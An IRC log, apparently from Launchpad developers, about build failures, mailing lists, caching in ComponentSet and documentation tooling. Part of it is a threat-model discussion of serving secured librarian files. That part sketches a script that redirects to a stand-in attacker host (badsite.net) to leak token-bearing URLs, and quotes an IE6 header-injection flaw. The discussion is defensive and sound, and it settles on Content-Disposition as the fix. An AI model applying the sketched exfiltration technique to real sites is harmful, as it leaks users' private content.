[00:13] <thumper> FFS
[00:13] <thumper> devel build failed
[00:18] <wgrant> thumper: Doesn't he probably not want a shared repo?
[00:18] <wgrant> Sounds like he might just want a branch.
[00:18]  * thumper nods
[00:38] <mtaylor> w00t!
[00:38] <mtaylor> don't know who fixed the swift mailing list situation ... but thanks
[00:38] <mtaylor> sinzui: was that you?
[00:39] <sinzui> mtaylor, me and Chex
[00:39] <sinzui> I am waiting on my test email to complete
[00:39] <mtaylor> sinzui: well thank you to both of you
[00:39] <Chex> mtaylor: spm did a lion share of work previously, too.
[00:40]  * mtaylor hands Chex, sinzui  and spm beers
[00:40] <spm> mtaylor: heh, glad it's sorted.
[00:41] <Chex> mtaylor: glad to help, sinzui did a lot of the work today, I just saw the outstanding answer and jumped in to move it along
[00:41] <mtaylor> spm: now we've just got that can't see launchpad.net/swift thing left, but I think bac may have figured that one out and filed a bug
[00:41] <spm> mtaylor: that's not because I had a hissy fit of frustration the other day and dropped those tables  from the DB?
[00:41] <mtaylor> it's almost like I'm going to have nothing more to bug anyone aboud
[00:41] <mtaylor> about
[00:42] <mtaylor> spm: hehe
[00:42] <sinzui> I have not gotten a copy of my test email, and I do not see the archive
[00:42] <sinzui> mtaylor, do you see a moderation link on https://edge.launchpad.net/~swift to verify my missing message is stuck?
[00:45] <mtaylor> sinzui: I see a moderation link, but I see no messages in the queue
[00:46] <sinzui> :(
[00:47] <sinzui> I think the new list was not fully created because of the stalled proc and our deft axe-like hacks to make this work
[00:47] <sinzui> I propose a rapid deactivate, purge, and request of a new list. I think this will take a total of 10 minutes
[00:53] <mtaylor> sinzui: do you need me to do that? or was that a back-end operation you're suggesting?
[00:54] <sinzui> I just did it all
[00:54] <sinzui> I am sending another test
[00:54] <sinzui> I see an archive before I even start this time :)
[00:55] <sinzui> Sweet
[00:56] <sinzui> mtaylor. I think you have a list. And I just learned the minimum total tear down and setup of a list in the ui is 3 minutes
[00:56] <mtaylor> sinzui: w00t!
[00:57]  * thumper lunchinates
[01:00] <poolie> thumper, spm, do you want a hand with bug 610297
[01:00] <_mup_> Bug #610297: stable codeline is failing to build - compile error <canonical-losa-lp> <Launchpad Foundations:Fix Released by jelmer> <https://launchpad.net/bugs/610297>
[01:01] <poolie> ah apparently not
[01:01] <spm> :-)
[01:02] <jelmer> 'morning poolie, spm
[01:02] <jelmer> poolie: Did you have a good flight back to Sydney?
[01:02] <spm> hey jelmer! how goes!
[01:03] <jelmer> Very well, thanks! :-)
[01:04] <poolie> hi jelmer, it was ok
[02:29] <lifeless> bdmurray: https://bugs.edge.launchpad.net/malone/+bug/611115
[02:29] <_mup_> Bug #611115: timeout: bug notifications are calculated in-request <timeout> <Launchpad Bugs:Triaged> <https://launchpad.net/bugs/611115>
[03:00] <bac> mtaylor: the fix is in
[03:09] <spm> bac: that's a really easily misconstrued statement. just sayin'. ;-)
[03:10] <bac> spm: really?
[03:10] <bac> spm: you employing some aussie linguistic jujitsu?
[03:10] <lifeless> only for australians
[03:11] <spm> bac: hrm. possibly local slang? 'the fix is in' is another way of saying 'we've done some illegal stuff to achieve X'
[03:11] <lifeless> spm: its aussie vernacular
[03:11] <bac> spm: ok.  well rest assured it was all legal, reviewed, and landing soon
[03:11] <spm> heh
[03:13] <bac> and look, you ran off wgrant.  launchpad productivity plummets
[03:14] <spm> on the grounds that he's only 7-8 hours drive away; i make no comment in case he's the revenge seeking type
[03:14] <lifeless> e.g. australian ?
[03:15] <lifeless> :P
[03:15] <spm> ....
[03:16] <spm> ha. good def'n here of 'the fix is in' http://answers.google.com/answers/threadview?id=65441 fwiw
[03:18] <lifeless> ah right
[03:18] <lifeless> so less aussie than I thought
[03:20] <wgrant_> bac: That was actually only one of me.
[03:20] <wgrant_> (my server at home apparently reset itself just as I was SSHing in... this is concerning)
[03:36] <wgrant> Is devel broken at the moment?
[03:36] <wgrant> I have a test failure which seems to be caused by the registration slot changes.
[03:39] <thumper> wgrant: it is possible
[03:39] <thumper> wgrant: there have been many commits since the last successful run
[03:39] <wgrant> Eep.
[03:39] <wgrant> But the registration slot is on edge...
[03:44] <lifeless> this is odd
[03:47] <wgrant> xx-copy-packages.txt is the failure that I see.
[04:30] <mwhudson> wgrant: should the fact that there are 13 idle i386 builders be bothering me?
[04:31] <mwhudson> ppa builders, that is
[04:34] <wgrant> Maybe.
[04:34] <wgrant> If it's for more than a few minutes.
[04:35]  * wgrant watches.
[04:35] <mwhudson> ah a bunch just got dispatched
[04:35] <wgrant> You just caught it at a bad time, yeah.
[04:36] <mwhudson> so it was probably just process-upload-ing openoffice or something
[04:36] <wgrant> Heh.
[04:36] <wgrant> Each p-u invocation takes like 15 seconds.
[04:44] <wgrant> So if it is processing a couple of dozen uploads, it can take a while to get around to the next cycle.
[04:44] <wgrant> Even if those uploads are small.
[05:02] <mtaylor> rockstar: around?
[05:03] <mtaylor> so - now I'm seeing work-in-progress merge requests on the +activereviews page ...
[05:04] <mtaylor> oh. even weirder
[05:04] <mtaylor> +activereviews for the branch shows work-in-progress - +activereviews for the project does _not_ show work in progress
[05:04] <mtaylor> just thought I'd point that out in case no body noticed
[05:46] <thumper> lifeless: quick question
[05:46] <lifeless> shoot
[05:46] <thumper> mtaylor: yes it does
[05:46] <thumper> mtaylor: by design
[05:46] <thumper> lifeless: the librarian bug you're fixing, will this stop the timeouts we are seeing on merge proposal pages?
[05:47] <thumper> mtaylor: work in progress is of interest in the personal namespace
[05:47] <lifeless> maybe. Point me at such a timeout OOPS
[05:47] <thumper> mtaylor: branches are in the personal namespace
[05:47] <thumper> lifeless: they are in the daily oops reports
[05:47]  * thumper has a quick look
[05:47] <thumper> lifeless: OOPS-1670O1242
[05:48]  * thumper looks at _mup_
[05:48] <lifeless> works in #launchpad :P
[05:48] <lifeless> yes, I would expect that one to be fixed
[05:48] <lifeless> we'll allocate a token
[05:49] <thumper> \o/
[05:49] <lifeless> and the client will grab the content directly from the librarian
[05:49] <thumper> um...
[05:49] <thumper> that'll require a coding change won't it?
[05:49] <thumper> it isn't a transparent fix
[05:50] <thumper> because we format the diff
[05:50] <thumper> the formatted diff isn't stored
[05:50] <lifeless> ok
[05:50] <lifeless> so no, that one won't be fixed.
[05:50] <thumper> :(
[05:50]  * thumper afk
[05:50] <lifeless> Heres what will be fixed - places where we just proxy the content to the client.
[05:50] <lifeless> like private build logs
[05:53] <lifeless> thumper: the separate 'client does not time out fast' bug will help with those pages though - but it will just mean they fail fast rather than fail slow.
[05:55] <wgrant> lifeless: Hum, so the restricted librarian is going to visible externally?
[05:56] <wgrant> +be
[05:56] <lifeless> wgrant: not precisely
[05:57] <lifeless> wgrant: we'll accept requests on the public librarian for secured content if there is a Front-end-https: on header and it has an access token that is live in the session db
[05:57] <lifeless> wgrant: see my WIP branch / bug discussion
[05:57] <wgrant> Ah, sounds reasonable.
[05:57] <wgrant> Well.
[05:57] <wgrant> Sort of reasonable.
[05:57] <wgrant> As long as you use the right Content-Disposition...
[05:57] <lifeless> can you suggeset some improvements ?
[05:58] <lifeless> How is c-d different for this case than other librarian objects?
[05:58] <wgrant> The public librarian doesn't use Content-Disposition: attachment.
[05:58] <wgrant> So JS is executed.
[05:59] <lifeless> right
[05:59] <wgrant> So if you serve anything from the HTTPS librarian without Content-Disposition: attachment, you're fucked, because anyone can steal your access tokens.
[05:59] <lifeless> how is this *different* in terms of requirements/risks/constraints ?
[05:59] <lifeless> no
[05:59] <lifeless> the token is per url
[06:01] <lifeless> we can't use the oauth tokens for the reason you give
[06:01] <wgrant> Relying on cross-window security seems a bit odd.
[06:01] <lifeless> even if we set c-d they might exploit a browser bug etc
[06:01] <wgrant> They might, yes, but then the entire Internet is fucked. Not just us.
[06:02] <lifeless> wgrant: so still, that seems like an argument for setting it on every librarian file
[06:02] <lifeless> how is it unique for secured content
[06:02] <wgrant> lifeless: Because there's nothing to be stolen on the public librarian.
[06:03] <wgrant> That's why it lives on launchpadlibrarian.net nowadays: so there's no cookie.
[06:03] <lifeless> the secured still will also live there
[06:03] <lifeless> and also have no cookie
[06:03] <wgrant> But there is private information.
[06:03] <wgrant> In the URLs.
[06:03] <lifeless> go on
[06:04] <lifeless> I'm moderately fucked from jetlag, so you're going to have to treat me like a 2-year old and spell it out :)
[06:04] <wgrant> I'm aware of strong cross-domain security rules.
[06:04] <wgrant> I don't know about cross-window restrictions, though.
[06:05] <lifeless> what do you mean cross-window restrictions
[06:06] <wgrant> The security of your system relies on the fact that a page executing in the context of a domain cannot determine the URLs of any other windows open for that domain.
[06:06] <wgrant> I do not know that to be the case.
[06:07] <lifeless> or of urls in the history
[06:07] <wgrant> That too.
[06:09] <lifeless> so if you're saying 'please set cd:attachment on secured urls' - sure, I'm fine doing that, I don't see that we would want js scripts in the librarian anyhow for secured content
[06:09] <lifeless> but it seems to me that we're already at risk from such things - browser history containing product urls etc which are private
[06:09] <wgrant> Nobody else has managed to do that without being harrassed for days.
[06:10] <lifeless> please expand
[06:10] <wgrant> U1 was pretty badly broken in this respect.
[06:10] <wgrant> Took a bit of poking to get it fixed.
[06:10] <wgrant> But I don't see your point about private URLs.
[06:10] <lifeless> I don't know what 'that' or 'this' is bound to.
[06:11] <wgrant> The serving user web pages on authenticated domains thing.
[06:11] <wgrant> The only untrusted content that LP currently serves up is on ppa.launchpad.net and launchpadlibrarian.net.
[06:11] <wgrant> ppa.launchpad.net is HTTP, so can't access cookies.
[06:12] <wgrant> launchpadlibrarian.net is on another domain, and contains no private content, so it can't access cookies or private content.
[06:12] <lifeless> right
[06:13] <lifeless> now I'm proposing to add secured content to ll.net by using the url to carry the token
[06:13] <lifeless> it can't access cookies - wrong domain
[06:14] <wgrant> But it's not clear if it can access other windows or history.
[06:14] <lifeless> right
[06:15] <lifeless> if we add c-d to the headers, will that break things like emblems, if they are secured ?
[06:16] <mtaylor> thumper: interesting
[06:16] <wgrant> lifeless: Not sure.
[06:17] <lifeless> wgrant: so, I'm not clear if you're saying 'stop this the plan is flawed', or 'the plan needs tweaking', or 'this axiom needs researching'
[06:17] <lifeless> wgrant: perhaps you're being clear and I'm just too freakishly tired
[06:17] <wgrant> lifeless: Probably "this axiom needs researching"
[06:18] <lifeless> wgrant: ok, cool - I can keep plodding forward.
[06:18] <lifeless> wgrant: if you wanted to research a little, to parallelise efforts, that would be rad.
[06:18] <lifeless> wgrant: or, if there is a good mitigation strategy we can use regardless, lets do that.
[06:18] <wgrant> lifeless: Content-Disposition is the way to do it, I believe.
[06:19] <lifeless> we could, in principle, wire dns up to the librarian
[06:19] <lifeless> and do hash.launchpadlibrarian.net
[06:19] <lifeless> but that seems a little overkill
[06:22] <lifeless> wgrant: do you think it would be safe to whitelist file types like gif, svg, txt etc ?
[06:23] <wgrant> lifeless: IE does some pretty strange stuff. So you'd have to be careful.
[06:24] <lifeless> so the vector you're describing is:
[06:24] <lifeless> Attacker puts a bad file in the librarian
[06:25] <lifeless> Victim looks at that file, and has either in that windows history, or in another window, the url for a secured file on the librarian
[06:25] <lifeless> Attackers script downloads the secured file (because its within the timeout/use count for the token) and sends it off (how?) to another site
[06:26] <wgrant> It's more practical to just transmit the URL.
[06:26] <wgrant> Either through redirection, or a form post.
[06:27] <lifeless> so they set self.url = badsite.net/?location=secured_content_url
[06:27] <wgrant> window.location, but yes, exactly.
[06:27] <lifeless> blah, self.location =  ...
[06:27] <lifeless> righto
[06:27] <lifeless> one thing we can do
[06:28] <lifeless> is look for a referrer which must exactly match the canonical url in LP
[06:28] <lifeless> [note that this is hard today because we don't have a backlink on LFA, I'm speculating]
[06:28] <lifeless> gesturing... handwaving, thats what I mean, handwaving.
[06:28] <wgrant> If you add more referrer sniffing, I will do bad things.
[06:29] <lifeless> heh
[06:29] <wgrant> (yes, I did suggest it for the CSRF fix, but only because I knew the hole had no chance of being fixed within years otherwise)
[06:29] <lifeless> now, the referrer may be no more secure
[06:29] <wgrant> I'd hoped that the user complaints would force Foundations to fix it properly.
[06:29] <wgrant> But I was wrong.
[06:29] <lifeless> so that might be pointless
[06:30] <lifeless> c-d will break inline display of diffs, logs, etc - which is annoying.
[06:30] <lifeless> security over pretty though
[06:31] <wgrant> Right.
[06:31] <lifeless> theres been some content-sniffed spec stuff recently
[06:32] <lifeless> probably want to review that
[06:36] <wgrant> Hmm.
[06:36] <wgrant> I wish things like getUtility(IComponentSet)['main'] would cache.
[06:36] <lifeless> ugh
[06:36] <wgrant> Hm?
[06:36] <lifeless> I wish such things didn't really exist. Or something.
[06:37] <wgrant> Well, yes.
[06:37] <wgrant> I'm currently trying to refactor some publication stuff.
[06:37] <wgrant> But I can't do it really cleanly, since there were apparently timeouts caused by too many getUtility(IComponentSet)['main'] calls.
[06:38] <lifeless> heh
[06:38] <lifeless> I hear objects provide a nice context for remembering things
[06:38] <wgrant> I guess we could just assume it never needs to be invalidated.
[06:39] <wgrant> Ugly and wrong, but it would never be a problem ever.
[06:40] <wgrant> And then my code can be all nice and clean.
[06:40] <wgrant> lifeless: Am I allowed to do that?
[06:40] <lifeless> do what
[06:42] <wgrant> Make it cache lookups, even though someone could in theory delete and recreate the component.
[06:42] <lifeless> within a transaction, yes.
[06:42] <lifeless> as long as a delete & recreate in the transaction will be handled
[06:43] <wgrant> Is there a way to do that?
[06:43] <lifeless> have you considered providing a stateful proxy in your code
[06:43] <lifeless> wgrant: you can hook into certain events in storm, but I think it would be ugly.
[06:44] <wgrant> It would be very ugly, yes.
[06:44] <wgrant> Especially for a situation that will never occur.
[06:44] <lifeless> never is a long time
[06:44] <lifeless> have you considered providing a stateful proxy in your code?
[06:45] <wgrant> How do you mean?
[06:46] <lifeless> class mycomponentset: def get_component(self, component_name): if component_name not in self.components: self.components[component_name] = getUtility(IComponentSet)[component_name]; reuturn self.components[component_name]
[06:46] <wgrant> I was hoping to be able to do that in ComponentSet itself.
[06:47] <lifeless> the context for such a cache is ill defined at the component level
[06:47] <lifeless> AIUI
[06:48] <wgrant> Well. Components are currently immutable.
[06:48] <wgrant> Like SourcePackageNames and BinaryPackageNames.
[06:48] <wgrant> They are just a string.
[06:48] <lifeless> update on the name is prevented ?
[06:48] <wgrant> No. But it's never done, because it would break the world.
[06:48] <lifeless> as long as you really clearly document it then
[06:49] <wgrant> And while it's *possible*, it seems bad to make the code significantly uglier to take into account that case.
[06:49] <lifeless> be sure not to leak objects across transactions
[06:49] <lifeless> you'll want to hook into end request to clear your cache
[06:49] <wgrant> Yeah, that's the bit I'm not quite sure about.
[06:49] <lifeless> and if you're used outside web contexts you'll need to provide an API for clearing the cache and audit existing code to comply
[06:50] <lifeless> global caches are a pain
[06:50] <lifeless> for an example of hooking into end request see profile or feature flags
[06:52] <spiv> I'm slightly surprised there isn't some sort of @cacheduringtransaction decorator.
[06:52] <wgrant> It would be handy.
[06:52] <spiv> I suppose the tricky bit is telling the decorator which store to use.
[06:54] <spiv> (There is @cachedproperty, but it caches indefinitely, although you could invalidate it by hand fairly easily...)
[06:54] <wgrant> Right, but it doesn't help for attribute accesses.
[06:55] <wgrant> Ah.
[06:55] <wgrant> I could use a celebrity.
[06:55] <lifeless> really?
[06:55] <wgrant> That sounds evil, but they have the rules that I want.
[06:55] <spiv> That's true.
[06:55] <lifeless> cause I need a hero
[06:57] <StevenK> lifeless: Why? When will you return the last one you borrowed?
[06:58] <lifeless> :)
[07:21] <lifeless> wgrant: http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy - 'The behavior for URLs that do not meaningfully have a host name associated with them (e.g., file://) is not defined, causing some browsers to permit locally saved files to access every document on the disk or on the web;he behavior for URLs that do not meaningfully have a host name associated with them (e.g., file://) is not defined, causing some browsers
[07:21] <lifeless> bwah c&p fail
[07:29] <spm> lifeless: is np. simply went intot the tl;dr bucket anyway ;-)
[07:41] <mwhudson> lifeless: that's a fairly depressing document
[07:41] <lifeless> yes
[07:44] <mwhudson> A long-standing security flaw in Microsoft Internet Explorer 6 permits stray newline characters to appear in some XMLHttpRequest fields, permitting arbitrary headers (such as Host) to be injected into outgoing requests. This behavior needs to be accounted for in any scenarios where a considerable population of legacy MSIE6 users is expected.
[07:44] <mwhudson> aaaaaaaaaaa
[07:53] <lifeless> wgrant: see 'Gaps in DOM access control' on that page
[07:55] <lifeless> wgrant: so interestingly, *any* page can get any url
[07:56] <lifeless> wgrant: for many browsers; so urls that we consider private, like private team names, are obtainable (though requires both guessing and a named window AFAICT)
[08:08] <mtaylor> " where a considerable population of legacy MSIE6 users is expected. " ... that give me nightmares
[08:41] <wgrant> mtaylor: That sadly accounts for a significant portion of Launchpad's privacy userbase, I believe.
[08:44] <lifeless> rumoured, not confirmed
[08:47] <adeuring> good morning
[09:12] <mrevell> Hello
[09:25] <poolie> hello europa
[09:26] <lifeless> thats a whole new tz :)
[09:30] <poolie> you still here?
[09:30] <poolie> what's the cleanest way to get my docs into something visible on the web?
[09:30] <poolie> put them in a module docstring?
[09:30] <wgrant> Probably.
[09:39] <lifeless> yeah, for now, docstrings
[10:06] <wgrant> Can someone else run xx-copy-packages.txt? It fails for me in devel.
[10:06] <wgrant> But stable is up to date.
[10:06] <wgrant> Even though the topic says buildbot is broken.
[10:06] <wgrant> I am confuse.
[10:15] <bigjools> it failed for me too
[10:15] <bigjools> meant to mention that 2 days ago
[10:16] <wgrant> So... buildbot is fail-deadly?
[10:37] <lifeless> jml: can we keep the bb summary please, so its obvious where to put updates to it?
[11:12] <wgrant> bigjools: Hi.
[11:12] <bigjools> hello
[11:13] <wgrant> bigjools: I'm currently working on DDEB copies. The binary copy logic is currently in PublishingSet.copyBinariesTo rather than BPPH.copyTo, originally for two performance improvements.
[11:13] <wgrant> One of those was to retrieve the insecure records all in one go. That's clearly no longer an issue.
[11:14] <wgrant> The other is to only issue one query for the PPA component override (since getUtility(IComponentSet)['main'] doesn't cache).
[11:14] <wgrant> It seems like that second optimisation could be implemented a lot better by making ComponentSet cache responses.
[11:14] <bigjools> yeah I agree
[11:15] <bigjools> components simply don't change much
[11:15] <wgrant> Exactly. They *could*, but they never will.
[11:15] <bigjools> for Ubuntu indeed,  but when we start hosting more distros, they might
[11:16] <wgrant> Well, in that case some will be added.
[11:16] <wgrant> But existing ones will never change or be removed...
[11:16] <bigjools> yep
[11:16] <wgrant> So it seems reasonable to have ComponentSet just cache positive responses within a transaction.
[11:18] <bigjools> +1
[11:18] <wgrant> Great.
[11:19] <wgrant> Not sure how best to go about it, though... unless I go the celebrity route and store the ID at first request, and then rely on Storm's cache.
[11:19] <wgrant> I'm not sure there are any other utilities that do a similar thing.
[12:04] <stub> jtv: What happened to the work to drop BranchRevision.id ?
[12:05] <jtv> stub: John went on with that...  I pushed him some to keep going.
[12:05] <jtv> We landed the stormification of the queries.
[12:06] <stub> Cool. I'm getting concerned meeps from the losas about disk space, and that should reclaim maybe 15GB
[12:06] <jtv> psiew
[12:06] <jtv> (that's a sound, not an acronym)
[12:07]  * wgrant blinks.
[12:07] <wgrant> 15GB from removing the integer primary key of that table?
[12:08] <jtv> jam: see above... getting rid of BranchRevision.id is increasingly urgent.
[12:09] <stub> The index itself is about 12.9GB, plus id storage, minus bloat = <mumble>
[12:09] <wgrant> Ah.
[12:09] <jtv> stub: if this is an append-only table as it seems to be, I'm not expecting much bloat that vacuums wouldn't keep under control.
[12:10] <stub> yer, there isn't
[12:11] <jtv> The id storage is presumably 4GB for every G rows.  There's also another index that contains id, so add that.  Yeah, this would be a nice cleanup.
[12:22] <jtv> stub: I'd say the savings would be closer to 20GB.
[12:41] <jml> today is not working out well for me
[12:41] <jml> I may have to edit Python code to soothe my frazzled nerves.
[13:00] <deryck> Hi, all.
[13:03] <jelmer> 'morning Deryck
[13:29] <jml> lifeless, ping
[13:38] <jml> gary_poster, hello
[13:39] <jml> gary_poster, I have an idea lurking in the back of my mind to move some of the more strategic docs that I'm writing to the Launchpad tree, as well as some of the developer documentation
[13:40] <jml> gary_poster, but I think I'd only want to do that if the docs were also browseable on the web
[13:41] <jml> gary_poster, technology-wise, should I be using the apidoc book for this, or some kind of sphinx thing?
[14:30] <gary_poster> jml, I'll summarize pros and cons in 15
[14:31] <jml> gary_poster, thanks
[14:51] <jam> hi jml
[14:51] <jam> lifeless likely won't be on for another 4-6hours
[14:55] <gary_poster> jml: Sphinx: great if you need links between pages or more sophisticated rendering possibilities--closer to a website or a book.  apidoc: great if you need quick ReST processing that's integrated with something we already have, and can be loosely organized into a tree.
[14:55] <gary_poster> downside of both: getting them on the web is a manual process, and likely to stay that way at least for awhile.  (I was vaguely imagining a buildbot/hudson thing that would do this eventually for the apidoc.)  It's very slow for the computer to generate the static apidoc and upload it, but no big deal for the person pushing the keys.
[14:55] <gary_poster> For the kind of docs I *expect* you'll be writing, I'd lean towards apidoc, especially if I can shunt off the extraneous stuff (like ZODB) so the docs valuable to us are easier to see
[14:55] <jml> jam: thanks.
[14:55] <deryck> adeuring, hi.  So I'm trying to catch up here on the proxied (or not) factory objects discussion.  Do we have resolution on that?  i.e. are you still working on it, or has the work been abandoned now?
[14:56] <gary_poster> I need to wade through that discussion :-/
[14:56] <jml> gary_poster, thank you, that's helpful.
[14:57] <adeuring> deryck: i've abandoned it for now. it is easy to pick up once we know how to proceed with (un)proxied objects from the factroy
[14:57] <gary_poster> cool np
[14:57] <jml> gary_poster, although you missed that sphinx looks prettier than apidoc :)
[14:57] <gary_poster> jml: very true :-)
[14:57] <deryck> adeuring, is bdmurray unblocked on the work he wants to do?  Or has a work around at least for the test problem he had?
[14:57] <adeuring> deryck: he's making some progress. sorry forgot the details
[14:58] <deryck> adeuring, so the card for you and bug 610000 is abandoned?
[14:58] <_mup_> Bug #610000: add security proxies to the objects returned by LaunchpadObjectFactory.makeMergeDirective() and LaunchpadObjectFactory.makeMilestone()  <Launchpad Foundations:In Progress by adeuring> <https://launchpad.net/bugs/610000>
[14:58] <adeuring> right
[14:58] <deryck> adeuring, can you move it to trash on the board, and add a comment why you're abandoning the work?
[14:59] <adeuring> ok, will do
[15:02] <adeuring> deryck: do we have a trash lane on the kanban board?
[15:03] <deryck> adeuring, yeah, if you right click the card, move to --> archive --> trash.  You'll need to then expand archive to find it and comment, or else comment before you move it.
[15:04] <adeuring> deryck: thanks, found it now
[15:06] <deryck> cool
[15:06] <deryck> *sigh* can't even spell my own name today
[16:12] <mtaylor> gary_poster: fwiw, I've got a hudson job that build sphinx doc for our openstack projects and publishes them to web on every trunk push
[16:13] <gary_poster> mtaylor: sweet, sounds nice :-)
[16:16] <mtaylor> gary_poster: yes. I gives me pleasure
[16:16] <mtaylor> it
[16:16] <mtaylor> not I
[16:16] <mtaylor> gah
[16:16] <gary_poster> lol
[16:35] <deryck> gary_poster, hi.  Do you have 5 minutes to chat?
[16:36] <gary_poster> deryck, on call, and booked.  in hour, maybe?
[16:37] <deryck> gary_poster, sure.  sounds good.  No hurry.
[16:37] <deryck> Just trying to figure out why my changes last week caused test failures and had to be reverted, and I think you might have some idea. :)
[16:37] <gary_poster> heh ok :-)
[18:09] <bdmurray> I've landed a branch on edge to cache a bug target's bug tags portlet but I'm not seeing cache comment in the source for the page
[18:13] <bdmurray> gary_poster: is there somebody who could help me sort this out?
[18:24] <jml> bdmurray, are you sure it's been rolled out?
[18:25] <bdmurray> jml: pretty sure - it is revision number 11195
[18:25] <bdmurray> speaking of it'd be neat if 'r11249' linked to the code branch
[18:25] <jml> that does give you a certain ground for confidence
[18:26] <jml> bdmurray, yeah, that would be neat.
[18:27]  * jml hacks a little
[18:28] <rockstar> bigjools, ping
[18:28] <bigjools> rockstar: is it quick, I'm about to EOD?
[18:30] <rockstar> bigjools, just wondering if there's a factory method for simulating the creation of all objects that would be created to have a package in a PPA.
[18:30] <bigjools> rockstar: yes, the SoyuzTestPublisher
[18:30] <rockstar> bigjools, okay, I'll take a look at that.
[18:30] <rockstar> bigjools, have a good night.
[18:30] <jml> bdmurray, reckon it should link to http://bazaar.launchpad.net/~launchpad-pqm/launchpad/stable/files/11249 ?
[18:31] <bigjools> rockstar: there's a getPubSource() which creates a package and publishes it
[18:31] <bigjools> rockstar: there's a few gotchas with it, see some example tests first (grep is your fwiend)
[18:31] <gary_poster> bdmurray: code only adds comments "if not config.launchpad.is_lpnet and not config.launchpad.is_edge:"
[18:31] <rockstar> bigjools, okay.  I need to allow that to grow the ability of using a sourcepackagerecipe to do so.
[18:31] <bigjools> rockstar: sounds great
[18:32] <gary_poster> bdmurray: so it would be visible in staging...if staging were up.
[18:32] <bigjools> good night everyone
[18:32] <gary_poster> night
[18:32] <gary_poster> (on behalf of everyone)
[18:33] <bdmurray> jml: Personally I'd want to see https://code.edge.launchpad.net/~launchpad-pqm/launchpad/devel so I could see all the recent revisions
[18:33] <bdmurray> jml: to know what change recently not just the latest revision
[18:34] <jml> *nod*
[18:34] <bdmurray> gary_poster: ah, that helps thanks!  is there an eta for staging being up?
[18:34] <gary_poster> deryck[lunch]: if you were not lunching I would have five minutes to talk :-)
[18:34] <jml> except I'll do stable, not devel.
[18:35] <gary_poster> bdmurray: losas are firefighting to get restore working.  dunno when that will be back, but they are on it.
[18:36] <mthaddon> staging is up, it's just the update is busted
[18:40] <jml> bdmurray, https://code.edge.launchpad.net/~jml/launchpad/link-to-lp-revision/+merge/31310 fwiw
[18:42] <bdmurray> jml: cool!
[18:47] <gary_poster> bdmurray: staging is on r9589, which == r 11252 of edge.  should be plenty for r11195.
[18:47] <gary_poster> thanks for the clarification mthaddon
[18:48] <mthaddon> gary_poster: actually, it's on 9565 :(
[18:48] <gary_poster> mthaddon: oh, the footer on https://staging.launchpad.net/ lies? :-(
[18:48] <mthaddon> gary_poster: it's displaying the wrong revno because I did a "bzr revert -r 9565"
[18:49] <gary_poster> ah!
[18:50] <mthaddon> gary_poster: what would I need to do to get it to display the right revno?
[18:51] <gary_poster> bdmurray: you still might be in luck.  db-stable r9565 includes stable r11195, just barely
[18:51] <bdmurray> gary_poster: well the pages I'd like to view are oops'ing on me :-(
[18:54] <gary_poster> bdmurray: :-(
[18:55] <gary_poster> mthaddon: I *think* the number comes from bzr-version-info.py, in which case ``rm bzr-version-info.py && make bzr-version-info.py`` and a restart ought to do the trick.
[18:55] <gary_poster> need to go on call
[18:55] <jml> mthaddon, scripts/update-bzr-version-info.sh
[19:03] <maxb> Ugh. Ugh ugh ugh. Apparently the validation on code import creation is more lax than that of code import editing, so I can't mark https://code.edge.launchpad.net/~registry/tidy/trunk as invalid without getting told to fix the cvsroot
[19:04] <sinzui> maxb, yes, I was suspicious of that when I registered it
[19:04] <sinzui> I was going to track that down later today
[19:05] <maxb> oh *you* registered it? You know it's totally bogus, right?
[19:05] <sinzui> Yes. I was shocked that it went through
[19:06] <maxb> Mind if I write "sinzui will delete this when done debugging it" in the branch whiteboard?
[19:10] <sinzui> please do it
[19:22] <deryck> gary_poster, thanks anyway. Sorry I wasn't around.  I'll just catch lifeless later when he's on, or get you tomorrow about it.
[19:22] <gary_poster> deryck: cool
[20:06] <sinzui> maxb, +setbranch on a series will not accept a valid cvs url. It *requires* me to use http or https. I will report the bug
[20:11]  * jml frowns
[20:35] <jml> mars, hi
[20:37] <mars> jml, on a call, will be available soon
[20:37] <jml> mars, ta
[20:46] <jelmer> sinzui: There is an open bug about that somewhere
[20:46] <jelmer> sinzui: I hit it too a while ago.
[20:47] <sinzui> I could not find the bug, I hope thumper can dup it
[20:53] <jml> jam: your branch https://code.edge.launchpad.net/~jameinel/launchpad/lp-serve-cleanup/+merge/30542 is approved to land. want me to land it for you?
[20:53] <mars> jml, I'm free now, what's up?
[20:53] <jml> mars, just going through my outstanding lp branches and saw different-ec2-mail
[20:53] <jml> mars, are you going to carry on with it or shall I?
[20:54] <mars> jml, yeah, we just discussed that - if possible, I need to work on merge workflow before I go on holidays
[20:54] <mars> If you are able to pick it up, that would help
[20:55] <jml> mars, ok, I'll do that then.
[20:55] <jml> mars, Waste sucks.
[20:55] <lifeless> mornink
[20:55] <mars> jml, yes :(   But it's not waste yet!
[20:55] <lifeless> deryck: hi
[20:55] <mars> just a little stale, no green fuzz
[20:56] <jml> lifeless, hi
[20:56] <lifeless> hi jml
[20:56] <deryck> lifeless, hi.
[20:56] <jml> mars, it's wasteful in the lean sense right? unlanded branches == inventory; time between starting & finishing that doesn't progress toward goal == waste
[20:57] <deryck> lifeless, I really want to chat about why exactly my work caused the db-devel test run to fail, given it passed two runs already.  But I'm brain dead from clearing email backlog and at my EOD.
[20:57] <mars> jml, true.    I shall have to do so if I want to get my stuff landed. :-)
[20:58] <jml> mars, likewise, I haven't had any LP hacking time until now
[20:58] <lifeless> deryck: oh there are two things:
[20:58] <lifeless> deryck: a) Why did it get so far
[20:58] <lifeless> deryck: b) what was going wrong
[20:59] <lifeless> deryck: we know b
[20:59] <lifeless> deryck: storm cache bug + triggers
[20:59] <deryck> ok.  I don't know that I grok b yet.  But I can re-read the mails.
[21:00] <mars> jml, speaking of backlog, I'll file the ++profile++ view bug TODO list now
[21:00] <jml> mars, good idea :)
[21:00] <mars> (and waste some time trying to dig up the bug number)
[21:01] <mars> I end up using my branches list page an aweful lot now
[21:02] <deryck> I am almost my Inbox's master.  Until tomorrow everyone....
[21:03] <mars> lifeless, did we already have a bug for profiling individual requests?
[21:03] <mars> I thought we did
[21:03] <lifeless> yes
[21:03] <lifeless> http://www.google.com/search?sourceid=chrome&client=ubuntu&channel=cs&ie=UTF-8&q=launchpad+profile+decorator
[21:03] <lifeless> first hit
[21:03] <lifeless> ^ now thats search
[21:04] <mars> ha
[21:04] <lifeless> bug 598289 <-
[21:04] <_mup_> Bug #598289: support a profile decorator for use in staging and development environments <performance> <Launchpad Foundations:Triaged by mars> <https://launchpad.net/bugs/598289>
[21:04] <mars> it's also "I have trained through years of use to hit Google with keywords more likely to produce the result I want"
[21:05] <mars> aka "I am a Professional Google Basher"
